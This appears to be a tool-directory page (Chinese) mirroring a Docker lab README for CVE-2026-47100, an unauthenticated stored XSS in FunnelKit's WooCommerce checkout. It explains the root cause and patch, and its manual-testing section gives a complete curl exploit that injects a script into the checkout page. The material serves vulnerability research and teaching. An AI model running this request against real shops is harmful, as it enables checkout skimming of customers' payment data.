Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-47100-Analysis-Lab — 本地 Docker 实验环境,用于复现 CVE-2026-47100(FunnelKit for WooCommerce 中一个未经认证的存储型跨站脚本漏洞)。包含 PoC 脚本,可比较易受攻击版本与已修补版本。 | Kitploit
工具/GitHubGitHub/rootdirective-sec/cve-2026-47100-analysis-lab
漏洞分析Web应用程序漏洞利用CTF渗透测试学习与教育实验室与实践
GitHubrootdirective-sec/cve-2026-47100-analysis-lab

CVE-2026-47100-Analysis-Lab

本地 Docker 实验环境,用于复现 CVE-2026-47100(FunnelKit for WooCommerce 中一个未经认证的存储型跨站脚本漏洞)。包含 PoC 脚本,可比较易受攻击版本与已修补版本。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
2个月前尚未审核

CVE-2026-47100 — FunnelKit / Funnel Builder for WooCommerce Checkout 存储型XSS实验室

本地 Docker 实验室,用于以安全、最低危害方式重现 CVE-2026-47100。 该实验室对比了存在漏洞的 FunnelKit 版本与已修复版本,并通过无害的 JavaScript 标记/弹窗来验证行为。


1. 概述

CVE-2026-47100 是 Funnel Builder / FunnelKit for WooCommerce Checkout 在 3.15.0.3 版本之前存在的一个授权缺失漏洞。

存在漏洞的结账 AJAX 流程允许未经认证的访客调用内部插件方法,并将数据写入 FunnelKit 内置的全局外部脚本设置。由于该设置随后会在 FunnelKit 结账页面上被渲染,因此该问题可能成为结账页面上的未经认证存储型XSS。

本仓库使用两个 Docker 服务在本地重现该问题:

服务版本URL预期结果
vuln3.15.0.2http://127.0.0.1:8081确认存在漏洞行为
patched3.15.0.3http://127.0.0.1:8082写入被阻止 / 标记未渲染

2. Vulnx 发现截图

vulnx

来自 Vulnx 输出的初始 CVE 选择。实验室和PoC是通过对比漏洞版和修复版行为手动构建的。


3. 影响

未经认证的攻击者可利用公开的结账 AJAX 流程将 JavaScript 持久化到 FunnelKit 的全局外部脚本设置中。

在真实的 WooCommerce 商店中,这可能允许恶意 JavaScript 在访问结账页面的用户浏览器中运行。公开报告已将该类漏洞与结账页面窃取攻击联系起来。

本实验室仅使用无害的证明标记:

root@kitploit:~
<script>window.CVE_2026_47100_LAB_PROOF="ok";alert("CVE-2026-47100 LAB Stored XSS")</script>

4. 根本原因

存在漏洞的版本接受来自公开 WooCommerce AJAX 端点的用户控制的结账数据:

root@kitploit:~
/?wc-ajax=update_order_review

在 FunnelKit 结账流程中,请求可包含:

root@kitploit:~
wfacp_input_hidden_data={"action":"update_global_settings_fields", ...}

存在漏洞的逻辑检查所提供的 action 名是否作为类方法存在。如果方法存在,则可以从公开结账流程中调用。

简化的漏洞行为:

root@kitploit:~
if ( method_exists( __CLASS__, $action ) ) {
    self::$output_resp = self::$action( $input_data );
}

攻击者控制的重要 action 是:

root@kitploit:~
update_global_settings_fields

该方法会更新 WordPress 选项:

root@kitploit:~
_wfacp_global_settings

特别是内置的 FunnelKit 键:

root@kitploit:~
wfacp_global_external_script

存储的值随后会被结账模板读取并在结账页面上渲染。这就造成了存储型XSS条件。

利用链:

root@kitploit:~
未经认证的结账访客
→ 公开 WooCommerce update_order_review AJAX
→ 攻击者控制的 wfacp_input_hidden_data[action]
→ update_global_settings_fields()
→ update_option('_wfacp_global_settings')
→ 在结账页面上渲染 wfacp_global_external_script
→ 存储型XSS

5. 补丁摘要

版本 3.15.0.3 通过两个重要更改加固了漏洞路径。

5.1 公开 Action 白名单

已修复版本限制了可从公开结账流程中调用的结账 action。

简化的修复行为:

root@kitploit:~
$allowed_actions = array(
    'update_cart_item_quantity',
    'update_cart_multiple_page',
    'remove_cart_item',
    'undo_cart_item',
    'prep_fees',
);

if (
    is_string( $action ) &&
    in_array( $action, $allowed_actions, true ) &&
    method_exists( __CLASS__, $action )
) {
    self::$output_resp = self::$action( $input_data );
}

这阻止了诸如 update_global_settings_fields 之类的任意内部方法被未经认证的结账请求调用。

5.2 设置更新前的权限检查

已修复版本还在更新全局设置前添加了授权检查:

root@kitploit:~
if ( ! current_user_can( 'manage_woocommerce' ) ) {
    return $resp;
}

这意味着全局外部脚本设置只能由拥有 WooCommerce 管理权限的用户写入。


6. 实验室架构

root@kitploit:~
host
├── http://127.0.0.1:8081  → WordPress + WooCommerce + FunnelKit 3.15.0.2
└── http://127.0.0.1:8082  → WordPress + WooCommerce + FunnelKit 3.15.0.3

种子过程创建了:

root@kitploit:~
实验室产品
- 用于创建有效购物车/会话的WooCommerce产品
- 干净实验室中预期的产品ID:10

实验室漏斗结账页
- 用于触发结账AJAX流程的FunnelKit结账页面
- 干净实验室中预期的结账文章ID:11

实验室使用确定的结账URL:

root@kitploit:~
/?post_type=wfacp_checkout&p=11

这显式地在本地 Docker 实验室中加载了 FunnelKit 结账自定义文章。


7. 运行实验室

启动实验室:

root@kitploit:~
docker compose up -d --build

检查服务:

root@kitploit:~
docker compose ps

预期的服务:

root@kitploit:~
vuln      http://127.0.0.1:8081
patched   http://127.0.0.1:8082

安装 Python 依赖:

root@kitploit:~
python3 -m venv .venv
. .venv/bin/activate
pip install requests

8. PoC 脚本

8.1 实验室 PoC

poc/poc_lab.py 是确定的实验室 PoC。

它假设本地 Docker 种子值:

root@kitploit:~
product_id = 10
checkout_post_id = 11

针对存在漏洞的服务运行:

root@kitploit:~
python3 poc/poc_lab.py http://127.0.0.1:8081

预期结果:

root@kitploit:~
[*] AJAX action: update_global_settings_fields
[*] AJAX status: True
[*] AJAX msg: Changes saved
[*] Marker rendered in HTML: True

=== Result ===
likely_vulnerable:  True

[+] Vulnerable behavior confirmed.

针对已修复的服务运行:

root@kitploit:~
python3 poc/poc_lab.py http://127.0.0.1:8082

预期结果:

root@kitploit:~
[*] AJAX action: update_global_settings_fields
[*] AJAX status: None
[*] AJAX msg: None
[*] Marker rendered in HTML: False

=== Result ===
likely_vulnerable:  False

[-] Vulnerable behavior was not confirmed.
[-] On patched targets this is expected.

8.2 通用授权自检工具

poc/poc_check.py 是一个更便携的授权自检工具。

仅被动检查:

root@kitploit:~
python3 poc/poc_check.py \
  --checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11"

主动授权检查:

root@kitploit:~
python3 poc/poc_check.py \
  --checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
  --product-id 10 \
  --active \
  --i-am-authorized

仅标记模式(无弹窗):

root@kitploit:~
python3 poc/poc_check.py \
  --checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
  --product-id 10 \
  --active \
  --i-am-authorized \
  --marker-only

清理尝试:

root@kitploit:~
python3 poc/poc_check.py \
  --checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
  --product-id 10 \
  --active \
  --i-am-authorized \
  --cleanup

9. 手动测试

9.1 存在漏洞的服务

创建一个新的 WooCommerce 会话并将实验室产品加入购物车:

root@kitploit:~
rm -f /tmp/cve47100-vuln.cookies

curl -s -c /tmp/cve47100-vuln.cookies -b /tmp/cve47100-vuln.cookies \
  "http://127.0.0.1:8081/?add-to-cart=10" >/dev/null

获取 FunnelKit 结账页面并提取 WooCommerce 结账 nonce:

root@kitploit:~
CHECKOUT_HTML=$(curl -s -c /tmp/cve47100-vuln.cookies -b /tmp/cve47100-vuln.cookies \
  "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11")

NONCE=$(printf '%s' "$CHECKOUT_HTML" \
  | grep -oE '"update_order_review_nonce":"[^"]+"' \
  | head -n1 \
  | cut -d: -f2 \
  | tr -d '"')

echo "NONCE=$NONCE"

发送构造的结账 AJAX 请求:

root@kitploit:~
curl -i "http://127.0.0.1:8081/?wc-ajax=update_order_review" \
  -c /tmp/cve47100-vuln.cookies \
  -b /tmp/cve47100-vuln.cookies \
  -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
  --data-urlencode "security=${NONCE}" \
  --data-urlencode "payment_method=cod" \
  --data-urlencode "country=TH" \
  --data-urlencode "state=" \
  --data-urlencode "postcode=10110" \
  --data-urlencode "city=Bangkok" \
  --data-urlencode "address=Lab Street" \
  --data-urlencode "address_2=" \
  --data-urlencode "s_country=TH" \
  --data-urlencode "s_state=" \
  --data-urlencode "s_postcode=10110" \
  --data-urlencode "s_city=Bangkok" \
  --data-urlencode "s_address=Lab Street" \
  --data-urlencode "s_address_2=" \
  --data-urlencode 'post_data=wfacp_input_hidden_data={"action":"update_global_settings_fields","type":"post","data":{"wfacp_global_external_script":"<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")</script>"}}'

验证选项已被写入:

root@kitploit:~
docker compose exec vuln wp --allow-root --path=/var/www/html option get _wfacp_global_settings --format=json

预期结果:

root@kitploit:~
{
  "wfacp_global_external_script": "<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")<\/script>",
  "wfacp_checkout_global_css": ""
}

验证标记已被渲染:

root@kitploit:~
curl -s "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
  | grep -oE '.{0,100}CVE_2026_47100_LAB_PROOF.{0,160}'

在浏览器中打开以查看无害弹窗:

root@kitploit:~
http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11

9.2 已修复的服务

对端口 8082 重复相同流程:

root@kitploit:~
rm -f /tmp/cve47100-patched.cookies

curl -s -c /tmp/cve47100-patched.cookies -b /tmp/cve47100-patched.cookies \
  "http://127.0.0.1:8082/?add-to-cart=10" >/dev/null

CHECKOUT_HTML=$(curl -s -c /tmp/cve47100-patched.cookies -b /tmp/cve47100-patched.cookies \
  "http://127.0.0.1:8082/?post_type=wfacp_checkout&p=11")

NONCE=$(printf '%s' "$CHECKOUT_HTML" \
  | grep -oE '"update_order_review_nonce":"[^"]+"' \
  | head -n1 \
  | cut -d: -f2 \
  | tr -d '"')

echo "NONCE=$NONCE"
root@kitploit:~
curl -i "http://127.0.0.1:8082/?wc-ajax=update_order_review" \
  -c /tmp/cve47100-patched.cookies \
  -b /tmp/cve47100-patched.cookies \
  -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
  --data-urlencode "security=${NONCE}" \
  --data-urlencode "payment_method=cod" \
  --data-urlencode "country=TH" \
  --data-urlencode "state=" \
  --data-urlencode "postcode=10110" \
  --data-urlencode "city=Bangkok" \
  --data-urlencode "address=Lab Street" \
  --data-urlencode "address_2=" \
  --data-urlencode "s_country=TH" \
  --data-urlencode "s_state=" \
  --data-urlencode "s_postcode=10110" \
  --data-urlencode "s_city=Bangkok" \
  --data-urlencode "s_address=Lab Street" \
  --data-urlencode "s_address_2=" \
  --data-urlencode 'post_data=wfacp_input_hidden_data={"action":"update_global_settings_fields","type":"post","data":{"wfacp_global_external_script":"<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")</script>"}}'

验证选项保持不变:

root@kitploit:~
docker compose exec patched wp --allow-root --path=/var/www/html option get _wfacp_global_settings --format=json

预期结果:

root@kitploit:~
[]

验证标记未被渲染:

root@kitploit:~
curl -s "http://127.0.0.1:8082/?post_type=wfacp_checkout&p=11" \
  | grep -oE '.{0,100}CVE_2026_47100_LAB_PROOF.{0,160}'

预期结果:无输出。


10. 证据总结

当以下所有条件成立时,存在漏洞的服务确认了该问题:

root@kitploit:~
AJAX action: update_global_settings_fields
AJAX status: True
AJAX msg: Changes saved
Marker rendered in HTML: True

当以下情况时,已修复的服务确认了修复:

root@kitploit:~
AJAX action: update_global_settings_fields
AJAX status: None
AJAX msg: None
Marker rendered in HTML: False
_wfacp_global_settings remains []

11. 安全注意事项

本仓库仅用于本地、授权的安全研究。

允许的范围:

root@kitploit:~
localhost
127.0.0.1
Docker Compose 实验室网络
您拥有或已获得明确书面许可进行测试的系统

不允许的行为:

root@kitploit:~
支付信息窃取
Cookie 窃取
Token 窃取
凭证收集
外部数据外泄
对第三方商店的未授权测试

PoC 仅使用无害的弹窗和标记。


12. 参考

  • CVE 记录:https://www.cve.org/CVERecord?id=CVE-2026-47100
  • NVD:https://nvd.nist.gov/vuln/detail/CVE-2026-47100
  • VulnCheck 公告:https://www.vulncheck.com/advisories/funnel-builder-for-woocommerce-checkout-missing-authorization-via-ajax
  • Sansec 研究:https://sansec.io/research/funnelkit-woocommerce-vulnerability-exploited
  • WordPress Trac 变更集:https://plugins.trac.wordpress.org/changeset/3530797/funnel-builder/tags/3.15.0.3/modules/checkouts/includes/class-wfacp-ajax-controller.php
下载工具